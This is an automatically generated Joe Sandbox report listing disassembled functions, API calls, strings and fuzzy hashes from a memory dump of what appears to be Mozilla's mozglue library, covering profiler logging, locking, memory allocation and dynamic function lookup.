Instruction Fuzzy Hash: CF110E313052409BDF00CF6ACD88E5637B4FB9B322FA4422AE91693740DB32A411CA6F

Function 6C61F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F561

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F585
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C61F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C61F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C61F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C61F56A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction ID: 97905f64da325c01969e40aaf5b70669f32092f2360457fcf2c8cf8979fe635b
Opcode Fuzzy Hash: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction Fuzzy Hash: CDF0B4753002009BDB00EF6AD88896A77BDEFC629EFA40411EA05C3B02CB314801876E

Function 6C5E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5E0DF8), ref: 6C5E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5E0EA1
__Init_thread_footer.LIBCMT ref: 6C5E0EB5
FreeLibrary.KERNEL32 ref: 6C5E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5E0E9B
kernel32.dll, xrefs: 6C5E0E7D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction ID: 28d535ed19dedb1e3d77c7a8723af34c3718bd1020ebb6a41d4ff3200f381c5f
Opcode Fuzzy Hash: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction Fuzzy Hash: D6012470B00281CFDF10DFEAE994A6237B6E78A358FB00526A90192B40DB74A4199E1E

Function 6C61F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction ID: e9c3139e3397db96b04a70193834cb6f71ab6b7f953169b8750f6e3d7e7367e7
Opcode Fuzzy Hash: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction Fuzzy Hash: C9F05B75304204ABDB009F6AD88896A777DEFC629DFA40415EA4593742CB754805876E

Function 6C6105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C60CFAE,?,?,?,6C5D31A7), ref: 6C6105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C60CFAE,?,?,?,6C5D31A7), ref: 6C610616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5D31A7), ref: 6C61061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5D31A7), ref: 6C610627

Strings

<jemalloc>, xrefs: 6C6105FA, 6C61060F
: (malloc) Error in VirtualFree(), xrefs: 6C61061B, 6C610625

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction ID: d66d522407a2ebb6d6c80db0d5612696a493e0f9069b8c498a99fab5cd0415b8
Opcode Fuzzy Hash: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction Fuzzy Hash: D1E08CE2A0101037F6146256AC86DBB761DDBC6138F084039FE0E83701E94AAD1E51FA

Function 6C5E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction ID: ed9e6a698bd1da4e4f3a66b31c1c6b30059c5f57f66f84441de033bf4d90d32c
Opcode Fuzzy Hash: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction Fuzzy Hash: 88A159B0A00605CFDB14CF29C984B9AFBF1BF89304F54866ED44AA7B00EB31A955CF94

Function 6C6314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6314E2
GetCurrentThreadId.KERNEL32 ref: 6C631546
InitializeConditionVariable.KERNEL32(?), ref: 6C6315BA
free.MOZGLUE(?), ref: 6C6316B4

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction ID: d3a8588ea1769b3b2b8d3cd5748750c0818ddec98c81ad5dc63db1717b30db71
Opcode Fuzzy Hash: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction Fuzzy Hash: FD61F171A007109BDB11CF25C880BDEB7B1BF8A318F44A51CED8A57701DB35E949CB99

Function 6C62DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C62D38A,?), ref: 6C62DC6F
free.MOZGLUE(?,?,?,?,?,6C62D38A,?), ref: 6C62DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C62D38A,?), ref: 6C62DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C62D38A,?), ref: 6C62DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C62D38A,?), ref: 6C62DD4A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction ID: e16347947b816e5f670005d670e10611554a768339b2a8b7871f003463f447a3
Opcode Fuzzy Hash: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction Fuzzy Hash: 8A417AB5A00605CFCB04CF99C880A9ABBF6FF89314B654569DA46ABB10D735FC01CF94

Function 6C60F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C60F480

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

CloseHandle.KERNEL32(00000000), ref: 6C60F555

Part of subcall function 6C5E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E1248,6C5E1248,?), ref: 6C5E14C9
Part of subcall function 6C5E14B0: memcpy.VCRUNTIME140(?,6C5E1248,00000000,?,6C5E1248,?), ref: 6C5E14EF

Part of subcall function 6C5DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5DEEE3

CreateFileW.KERNEL32 ref: 6C60F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C60F523

Strings

\oleacc.dll, xrefs: 6C60F4CB

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction ID: 384c15f8780953aedf03170b964e14deab5fa83b08a9843a1f072363323bf9e8
Opcode Fuzzy Hash: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction Fuzzy Hash: 6F41CF707087109FE726DF29C984A9BB3F4EF94318F604A1CF59193650EB30E949CB9A

Function 6C6374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C637526
__Init_thread_footer.LIBCMT ref: 6C637566
__Init_thread_footer.LIBCMT ref: 6C637597

Strings

kernel32.dll, xrefs: 6C637557
UnmapViewOfFile2, xrefs: 6C637552

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction ID: f2b301edadec729e0d011248f791e67ef0853d4af03da62c7ee9699a809cd589
Opcode Fuzzy Hash: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction Fuzzy Hash: 7F212831B00511EFCB18CFAA9E94E993375EF87375F642128D40957F80CB21B81189AF

Function 6C63C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63C0E9), ref: 6C63C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C63C437
FreeLibrary.KERNEL32(?,6C63C0E9), ref: 6C63C44C

Strings

NtQueryVirtualMemory, xrefs: 6C63C431
ntdll.dll, xrefs: 6C63C413

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction ID: b5787da28db8daff1a76c1870b7165bc33c1f46491ca1c9b881f45f0507faebc
Opcode Fuzzy Hash: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction Fuzzy Hash: 56E0BF70702311ABDF00FF73D9887157BF8B746344FB49115AA0592711DBB2D0158B5E

Function 6C6375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63748B,?), ref: 6C6375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6375D7
FreeLibrary.KERNEL32(?,6C63748B,?), ref: 6C6375EC

Strings

RtlNtStatusToDosError, xrefs: 6C6375D1
ntdll.dll, xrefs: 6C6375B3

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction ID: c84e2882012b6107b0a408c293292c8ce0eefae6b84fd48a965dde12b1dd6ea7
Opcode Fuzzy Hash: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction Fuzzy Hash: AAE09271700301AFEB00EFA3E9C87027AF8EB46358FB46025AA05D1690EBB090528F1E

Function 6C637600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C637592), ref: 6C637608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C637627
FreeLibrary.KERNEL32(?,6C637592), ref: 6C63763C

Strings

NtUnmapViewOfSection, xrefs: 6C637621
ntdll.dll, xrefs: 6C637603

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction ID: 732c40ee2e6c1f7fda7bd7a03ccbd1042890e96ad5a08d570ed886e47afe4fc2
Opcode Fuzzy Hash: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction Fuzzy Hash: 59E07EB0700301AFDF00AFA7AD987017AB8E75A399FB45515EA09D2650EBB190118F1E

Function 6C63BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C63BE49), ref: 6C63BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C63BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C63BE49), ref: 6C63BF38
RtlReAllocateHeap.NTDLL ref: 6C63BF83
RtlFreeHeap.NTDLL(6C63BE49,00000000), ref: 6C63BFA6

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction ID: 597000c965e36422c5b071eb85c8b3ed2a1dcf72da6ad7c412a8b4fa33502e5f
Opcode Fuzzy Hash: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction Fuzzy Hash: 1D519371A006258FE710CF69CD80BAAB3A2FFC5314F29A63DD51A97B54D730F9068B84

Function 6C628E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628EBF
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628F46
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F8F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction ID: b4b6c552d96cfe9a8afea89018f97498c90438c2c82ac7fb278df842663abc02
Opcode Fuzzy Hash: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction Fuzzy Hash: A651C3B2A012168FEB24CF54DC807AE77B2BF48358F25042AD516AB750E735F905CF96

Function 6C5D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5D4F1E

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction ID: 3b9be1349fa4cc35e70f166262f08991ce4e116c9b18e0429c1677d518af90aa
Opcode Fuzzy Hash: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction Fuzzy Hash: 7A41AA71608702AFC705CF29C88095BBBE4FF89344F118A2DE5A697751DB30E958CB96

Function 6C5E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15BC
